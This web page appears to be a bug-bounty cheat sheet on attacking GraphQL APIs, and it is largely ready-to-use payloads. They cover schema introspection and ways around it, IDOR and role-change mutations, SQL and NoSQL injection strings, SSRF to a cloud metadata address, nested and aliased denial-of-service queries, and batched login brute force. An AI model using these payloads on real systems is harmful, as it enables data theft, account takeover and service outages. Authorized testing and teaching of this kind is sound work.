Skip to content
Web Security

GraphQL Attacks

GraphQL introspection, injection, and authorization bypass for bug bounty

Discovery

Common Endpoints

TEXT
/graphql
/graphiql
/graphql/console
/graphql.php
/graphql/playground
/v1/graphql
/v1/graphiql
/api/graphql
/graph
/query

Detection

BASH
# Send introspection query
curl -X POST -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  https://target.com/graphql

# Response: {"data": {"__typename": "Query"}} = GraphQL!

Introspection

Full Schema Dump

GRAPHQL
{__schema{types{name,fields{name,args{name,type{name}}}}}}

Detailed Introspection

GRAPHQL
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      name
      kind
      description
      fields {
        name
        description
        args { name type { name kind } }
        type { name kind }
      }
    }
  }
}

Find Specific Type

GRAPHQL
{__type(name:"User"){name,fields{name,type{name,kind}}}}

Query for Mutations

GRAPHQL
{__schema{mutationType{fields{name,args{name,type{name}}}}}}

Introspection Bypass

When Disabled

GRAPHQL
# Try fragments
{__type(name: "Query"){name}}

# Try with alias
{alias:__schema{queryType{name}}}

# Try via GET
GET /graphql?query={__schema{types{name}}}

# Case variations
{__SCHEMA{types{name}}}

# Try GraphQL Voyager with partial data

Alternative Reconnaissance

GRAPHQL
# Suggestion abuse - typo to get suggestions
{users}  # Error might say "Did you mean 'user'?"

# Verbose error messages reveal schema
{user(id:1){nonexistent}}  # May list valid fields in error

Authorization Bypass

IDOR via Direct Query

GRAPHQL
# Original
query { user(id: "123") { email, password } }

# Attack
query { user(id: "456") { email, password } }  # Other user
query { user(id: "1") { email, password } }    # Admin

Access Hidden Fields

GRAPHQL
# If introspection reveals sensitive fields
query {
  user(id: "123") {
    email
    password          # Maybe not protected
    ssn               # PII field
    creditCard        # Financial data
    internalToken     # API token
  }
}

Query All Users

GRAPHQL
query {
  users {  # No filter, get everyone
    id
    email
    role
  }
}

# Or with pagination bypass
query {
  users(first: 10000) { id email }
}

Mutation Authorization

GRAPHQL
# Can you modify other users?
mutation {
  updateUser(id: "456", input: {role: "admin"}) {
    id
    role
  }
}

# Delete other users?
mutation {
  deleteUser(id: "456")
}

Injection Attacks

SQL Injection

GRAPHQL
# If input goes to SQL
query {
  user(name: "admin' OR '1'='1") { id email }
}

query {
  search(term: "' UNION SELECT password FROM users--") { results }
}

NoSQL Injection

GRAPHQL
query {
  user(filter: "{\"$gt\": \"\"}") { id email }
}

query {
  users(search: "{\"email\": {\"$regex\": \".*\"}}") { id }
}

SSRF via GraphQL

GRAPHQL
# If URL is fetched
mutation {
  importData(url: "http://169.254.169.254/latest/meta-data/") {
    result
  }
}

DoS Attacks

Nested Query (Depth Attack)

GRAPHQL
query {
  user {
    friends {
      friends {
        friends {
          friends {
            friends {
              id
            }
          }
        }
      }
    }
  }
}

Field Duplication

GRAPHQL
query {
  user {
    id id id id id id id id id id id id id id id
    email email email email email email email
  }
}

Alias Overload

GRAPHQL
query {
  a1: __typename
  a2: __typename
  a3: __typename
  # ... 10000 times
}

Batch Attack

GRAPHQL
# Multiple operations in one request
query {
  user1: user(id: "1") { email }
  user2: user(id: "2") { email }
  user3: user(id: "3") { email }
  # ... enumerate all users
}

Batched Queries for Enumeration

User Enumeration

GRAPHQL
query {
  user1: user(id: "1") { id email }
  user2: user(id: "2") { id email }
  user3: user(id: "3") { id email }
  # ... continue
}

Brute Force Authentication

GRAPHQL
# If login mutation exists
mutation {
  a1: login(email:"admin@test.com", password:"password1") { token }
  a2: login(email:"admin@test.com", password:"password2") { token }
  a3: login(email:"admin@test.com", password:"password3") { token }
}

Subscriptions

WebSocket Exploitation

GRAPHQL
# Subscriptions often over WebSocket
subscription {
  newMessage {
    content
    sender { id email }
  }
}

# Test IDOR - subscribe to other users' data
subscription {
  userNotifications(userId: "456") {
    content
  }
}

File Upload

If Application Supports

GRAPHQL
# Check for upload mutation
mutation($file: Upload!) {
  uploadFile(file: $file) {
    url
  }
}

# Test for:
- Path traversal in filename
- Content-type bypass
- Unrestricted file types

Testing Methodology

Step 1: Enumerate Schema

TEXT
1. Try introspection
2. If disabled, use suggestion abuse
3. Map all queries, mutations, subscriptions
4. Note all arguments and types

Step 2: Test Authorization

TEXT
1. Query each type for IDOR
2. Try mutations on other users' data
3. Access hidden/admin fields
4. Check role-based access

Step 3: Input Validation

TEXT
1. SQL injection in arguments
2. NoSQL injection
3. SSRF in URL fields
4. XSS in stored fields

Step 4: Resource Exhaustion

TEXT
1. Deep nesting
2. Large batch queries
3. Expensive operations

Tools

InQL (Burp Extension)

TEXT
- Automatic introspection
- Query generation
- Batch requests

GraphQL Voyager

TEXT
- Visual schema exploration
- Interactive graph

Graphw00f

BASH
# Fingerprint GraphQL engine
graphw00f -t https://target.com/graphql

Clairvoyance

BASH
# Obtain schema when introspection disabled
clairvoyance https://target.com/graphql -o schema.json

Bug Bounty Tips

High-Impact Findings

TEXT
- IDOR accessing other users' data
- Authorization bypass on sensitive operations
- SQL/NoSQL injection
- Schema revealing internal APIs
- Subscription data leaks

What to Include in Report

TEXT
1. GraphQL endpoint
2. Full query/mutation used
3. Before/after showing unauthorized access
4. Schema excerpt (if sensitive)
5. Impact statement
On this page